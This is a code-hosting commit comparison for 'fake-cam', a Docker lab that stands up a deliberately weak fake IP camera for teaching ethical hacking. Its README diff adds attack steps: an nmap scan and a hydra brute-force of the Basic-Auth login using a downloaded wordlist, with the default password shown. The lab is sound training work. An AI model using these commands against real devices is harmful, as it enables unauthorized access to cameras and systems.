Compare commits

...

13 Commits

Author SHA1 Message Date
b0da2c76f5 Actualiser README.md 2026-04-20 13:43:00 +00:00
e7d69102b5 Actualiser .gitea/workflows/master.yml
All checks were successful
Docker Build and Push for Main Branch / docker (push) Successful in 12m9s
2026-04-20 07:50:01 +00:00
cca068d9d1 Actualiser .dockerignore
Some checks failed
Docker Build and Push for Main Branch / docker (push) Has been cancelled
2026-04-20 07:49:39 +00:00
fd2634ce29 Téléverser les fichiers vers "reports"
Some checks failed
Docker Build and Push for Main Branch / docker (push) Has been cancelled
2026-04-20 07:48:54 +00:00
3b681c8cf6 Actualiser docker-compose.yml 2026-04-19 21:41:07 +00:00
765edabd7a Actualiser app/video.mp4
All checks were successful
Docker Build and Push for Main Branch / docker (push) Successful in 12m25s
2026-04-19 21:40:51 +00:00
3a727762b2 Actualiser stream.sh
Some checks failed
Docker Build and Push for Main Branch / docker (push) Has been cancelled
2026-04-19 21:40:22 +00:00
fc910b5fdf fix(docs): Updated docs 2026-04-15 18:05:49 +00:00
a3be4bf77a chore(hack): Added custom wordlist
All checks were successful
Docker Build and Push for Main Branch / docker (push) Successful in 13m1s
2026-04-15 15:56:30 +02:00
29015050e8 fix(docs): Updated docs 2026-04-15 15:56:13 +02:00
cc3a8a0d8d fix(docker): Modified port 2026-04-15 15:55:47 +02:00
00b6db6ca6 fix(html): Updated design 2026-04-15 15:53:31 +02:00
8ba844a81e fix(docker): Upgraded build 2026-04-15 15:53:13 +02:00
11 changed files with 5109 additions and 10 deletions

View File

@@ -1,3 +1,4 @@
.gitignore .gitignore
docker-compose.yml docker-compose.yml
LICENSE LICENSE
reports

View File

@@ -6,6 +6,9 @@ on:
- ".gitignore" - ".gitignore"
- "README.md" - "README.md"
- "LICENSE" - "LICENSE"
- "docker-compose.yml"
- "video.mp4"
- "reports/"
branches: branches:
- master - master

View File

@@ -1,9 +1,7 @@
FROM nginx:alpine FROM nginx:alpine
# Installation de FFmpeg
RUN apk add --no-cache ffmpeg RUN apk add --no-cache ffmpeg
# Configuration
COPY nginx.conf /etc/nginx/nginx.conf COPY nginx.conf /etc/nginx/nginx.conf
COPY htpasswd /etc/nginx/.htpasswd COPY htpasswd /etc/nginx/.htpasswd
COPY index.html /usr/share/nginx/html/index.html COPY index.html /usr/share/nginx/html/index.html

View File

@@ -2,7 +2,7 @@
Fake cam is a simple docker container running a fake webcam. It is used for educational purposes to teach ethical hacking. Fake cam is a simple docker container running a fake webcam. It is used for educational purposes to teach ethical hacking.
> Default creds are : admin | cam123 > Default creds are : admin | xxxxxx
## Requirements ## Requirements
@@ -22,8 +22,42 @@ git clone https://git.phorge.fr/l-nmch/fake-cam.git
docker compose build docker compose build
``` ```
3. Run the container ## Deploy
1. Run the container
```bash ```bash
docker compose up -d docker compose up -d
``` ```
2. Verify cam access
```bash
curl -u admin:cam123 http://<ip>:3301
```
## Attack
1. Install required tools
```bash
apt install hydra curl nmap -y
```
2. Download the [wordlist](./wordlist.txt)
```bash
wget https://git.phorge.fr/l-nmch/fake-cam/raw/branch/master/wordlist.txt
```
3. Find open ports:
```bash
nmap -sC -sV <ip>
```
4. Bruteforce Basic-Auth
```bash
hydra -l admin -P wordlist.txt -s 3301 <ip> http-get /
```

View File

@@ -4,9 +4,9 @@ services:
container_name: fake-webcam-stream container_name: fake-webcam-stream
restart: unless-stopped restart: unless-stopped
ports: ports:
- "8080:80" - "3301:80"
volumes: volumes:
- ./video.mp4:/video.mp4:ro - ./app:/app:ro
deploy: deploy:
resources: resources:
limits: limits:

View File

@@ -3,7 +3,7 @@
<head> <head>
<meta charset="UTF-8"> <meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>IP CAMERA</title> <title>Caméra IP Mayolis</title>
<style> <style>
* { margin: 0; padding: 0; box-sizing: border-box; } * { margin: 0; padding: 0; box-sizing: border-box; }
body { body {
@@ -54,7 +54,7 @@
<div class="cam-frame"> <div class="cam-frame">
<video id="stream" autoplay muted playsinline disablepictureinpicture disableRemotePlayback></video> <video id="stream" autoplay muted playsinline disablepictureinpicture disableRemotePlayback></video>
<div class="osd"> <div class="osd">
<div class="osd-tl">CAM-01 | 512x512<br><span id="clock">00:00:00</span></div> <div class="osd-tl">CAM-STORE-01 | 512x512<br><span id="clock">00:00:00</span></div>
<div class="osd-tr"><span class="rec-dot"></span> REC</div> <div class="osd-tr"><span class="rec-dot"></span> REC</div>
<div class="osd-bl">H.264 | 1500K | LIVE</div> <div class="osd-bl">H.264 | 1500K | LIVE</div>
</div> </div>

BIN
reports/rendu-attaque.odt Normal file

Binary file not shown.

Binary file not shown.

View File

@@ -1,7 +1,7 @@
#!/bin/sh #!/bin/sh
echo "🎬 Démarrage du stream HLS optimisé (segments 2s)..." echo "🎬 Démarrage du stream HLS optimisé (segments 2s)..."
ffmpeg -re -stream_loop -1 -i /video.mp4 \ ffmpeg -re -stream_loop -1 -i /app/video.mp4 \
-c:v libx264 -preset veryfast -b:v 1500k -maxrate 1500k -bufsize 3000k \ -c:v libx264 -preset veryfast -b:v 1500k -maxrate 1500k -bufsize 3000k \
-c:a aac -b:a 128k -ar 44100 \ -c:a aac -b:a 128k -ar 44100 \
-force_key_frames "expr:gte(t,n_forced*2)" \ -force_key_frames "expr:gte(t,n_forced*2)" \

5063
wordlist.txt Normal file

File diff suppressed because it is too large Load Diff